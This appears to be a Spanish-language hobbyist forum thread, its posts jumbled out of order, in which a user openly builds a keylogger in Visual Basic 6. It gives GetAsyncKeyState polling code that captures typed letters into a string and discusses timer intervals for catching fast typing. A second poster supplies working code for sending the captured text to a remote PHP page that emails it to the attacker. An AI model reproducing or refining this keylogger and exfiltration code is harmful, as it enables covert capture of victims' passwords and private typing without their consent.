Y si no lo hago con timer, ¿como lo hago? Gracias.

Estoy en un portatil, mira el code

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
 Dim cadena As String
 
Private Sub Timer1_Timer()
    If GetAsyncKeyState(vbKeyA) <> 0 Then
     cadena = cadena + "a"
    If GetAsyncKeyState(vbKeyB) <> 0 Then
     cadena = cadena + "b"
     ElseIf GetAsyncKeyState(vbKeyC) <> 0 Then
     cadena = cadena + "c"
     ElseIf GetAsyncKeyState(vbKeyD) <> 0 Then
     cadena = cadena + "d"
     ElseIf GetAsyncKeyState(vbKeyE) <> 0 Then
     cadena = cadena + "e"
     ElseIf GetAsyncKeyState(vbKeyF) <> 0 Then
     cadena = cadena + "f"
     ElseIf GetAsyncKeyState(vbKeyG) <> 0 Then
     cadena = cadena + "g"
     ElseIf GetAsyncKeyState(vbKeyH) <> 0 Then
     cadena = cadena + "h"
     ElseIf GetAsyncKeyState(vbKeyI) <> 0 Then
     cadena = cadena + "i"
     ElseIf GetAsyncKeyState(vbKeyJ) <> 0 Then
     cadena = cadena + "j"
     ElseIf GetAsyncKeyState(vbKeyK) <> 0 Then
     cadena = cadena + "k"
     ElseIf GetAsyncKeyState(vbKeyL) <> 0 Then
     cadena = cadena + "l"
     ElseIf GetAsyncKeyState(vbKeyM) <> 0 Then
     cadena = cadena + "m"
     ElseIf GetAsyncKeyState(vbKeyN) <> 0 Then
     cadena = cadena + "n"
     ElseIf GetAsyncKeyState(vbKeyR) <> 0 Then
     cadena = cadena + "r"
     ElseIf GetAsyncKeyState(vbKeyO) <> 0 Then
     cadena = cadena + "o"
     ElseIf GetAsyncKeyState(vbKeyP) <> 0 Then
     cadena = cadena + "p"
     ElseIf GetAsyncKeyState(vbKeyQ) <> 0 Then
     cadena = cadena + "q"
     ElseIf GetAsyncKeyState(vbKeyS) <> 0 Then
     cadena = cadena + "s"
     ElseIf GetAsyncKeyState(vbKeyT) <> 0 Then
     cadena = cadena + "t"
     ElseIf GetAsyncKeyState(vbKeyU) <> 0 Then
     cadena = cadena + "u"
     ElseIf GetAsyncKeyState(vbKeyW) <> 0 Then
     cadena = cadena + "w"
   ElseIf GetAsyncKeyState(vbKeyX) <> 0 Then
     cadena = cadena + "x"
     ElseIf GetAsyncKeyState(vbKeyY) <> 0 Then
     cadena = cadena + "y"
     ElseIf GetAsyncKeyState(vbKeyZ) <> 0 Then
     cadena = cadena + "z"
     ElseIf GetAsyncKeyState(32) <> 0 Then
     cadena = cadena + " "
     ElseIf GetAsyncKeyState(13) <> 0 Then
     cadena = cadena + vbNewLine
     ElseIf GetAsyncKeyState(63) <> 0 Then
     cadena = cadena + "?"
     ElseIf GetAsyncKeyState(191) <> 0 Then
     cadena = cadena + "¿"
     End If
     Text1.Text = cadena
End Sub

Sigue sin ir bien, hay veces que no pilla las telcas, las repite etc...

Si lo pongo a 1, por ejemplo cuando pulsa una tecla = se repite la misma tecla 2 o 3 veces...

Bueno, estoy programando mi keylogger y el timer que capta las pulsaciones no se a que intervalo ponerlo porque si escribes muy rapido no coje muy bien las teclas, tengo de intervalo 150.

¿Alguien sabe a cuanto ponerlo? Gracias.

Pero vb envia la información del email.

Yo utilizo funpic.de y si que me funciona

Bueno, he visto muchos temas preguntado como se hace incluso yo también lo preguntava pero porfin conseguí como hacerlo, no solo bamos a necesitar vb6 si no también PHP ya que el email se envia por la web.

1 - Creamos un nuevo proyecto y bamos a: Proyecto>Componentes>Microsoft Internet Controls
2 - Aparecerá un icono de un mundo en herramientas, lo ponemos en el form y le cambiamos el nombre a ws ¿ok? seguimos
3 - Añadimos un command y le damos doble click y escribimos

Private Sub Command1_Click()
ws.Navigate("www.lawebdondealojaremoselphp.es/index.php" & "?value=" & "aqui los datos a enviar")
End Sub

Bueno con este código ya lo hemos hecho todo en vb6.

== PHP ==
Abrimos el bloc de notas y escribimos

<?php
$val = $_GET['value'];
mail ('tuemail@taltal.com', 'Titulo', $val);
?>

y lo guardamos como index.php
ahora si subiis el archivo index.php a www.tuweb.com/index.php el codigo de vb6 seria

Private Sub Command1_Click()
ws.Navigate("www.tuweb.com/index.php" & "?value=" & "aqui los datos a enviar")
End Sub
 

Aqui termina todo !! Ahora el index tienes que conseguir un hosting que acepte PHP.

Ale by ErMoja

Depende del intervalo que tenga el timer y de lo largo que sea el progressbar.

OK ya me rula thanks a todos.